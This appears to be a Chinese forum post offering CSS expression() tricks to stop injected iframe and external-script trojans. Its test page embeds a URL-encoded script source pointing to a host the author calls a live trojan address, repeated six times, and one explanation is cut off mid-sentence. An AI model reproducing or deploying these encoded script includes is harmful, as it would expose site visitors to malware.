    
- 帖子
- 3852
- 积分
- 13044
- 威望
- 16780
- 金钱
- 36761
- 在线时间
- 1139 小时
         
|
现在流行挂script木马的src一般都是外域的,也就是src是以http打头的,如果是自己网站的script一般都不用加上http;再看看木马的原形,里面还是输出的iframe、JS代码或是其他代码,不管这么多,来多少杀多少。
解决方案1:
iframe{nifm2:expression(this.src=’about:blank’,this.outerHTML=”);} script{no2js:expression((this.src.toLowerCase().indexOf(’http’)==0)?document.close():”);}
原理:将外域的JS文件的document.write()使用document.close()强制关闭。木马内容还没有来得及写完,只有部分被强制缓存输出了,剩下的不会再写了。
解决方案2:
iframe{n1ifm:expression(this.src=’about:blank’,this.outerHTML=”);}/*这行代码是解决挂IFRAME木马的哦*/ script{nojs1:expression((this.src.toLowerCase().indexOf(’http’)==0)?document.write(’木马被成功隔离!’):”);}
原理:将
以下页面代码里含有一个木马地址,而且木马在页面里重复了6次,大家分别用我上面的不同方案测试一下,
看看我的研究如何!(此测试有一定的危险性,请务必打好所有补丁再测试)
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “ http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd“> <html xmlns=”http://www.w3.org/1999/xhtml“> <head> <meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ /> <title>让JS木马的进程迅速中止的CSS代码</title> <style type=”text/css” id=”LinrStudio”> /*<![CDATA[*/ iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');} script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');} /*]]>*/ </style> </head> <body> <script type=”text/javascript” src=”1.js”></script> <script src=http://%76%63%63%64%2E%63%6E></script> <script src=”http://%76%63%63%64%2E%63%6E” type=”text/javascript”></script> <script src=http://%76%63%63%64%2E%63%6E></script>
我是页面本身的1
<script src=http://%76%63%63%64%2E%63%6E></script>
我是页面本身的2
<script src=http://%76%63%63%64%2E%63%6E></script>
我是页面本身的3
<script src=http://%76%63%63%64%2E%63%6E></script>
</body>
</html>
其中1.js是自己本站的:
document.write(”我是本站的JS文件”); document.write(”<img src=’/tech/uploads/allimg/090819/1352353222-0.gif’ />”); |
|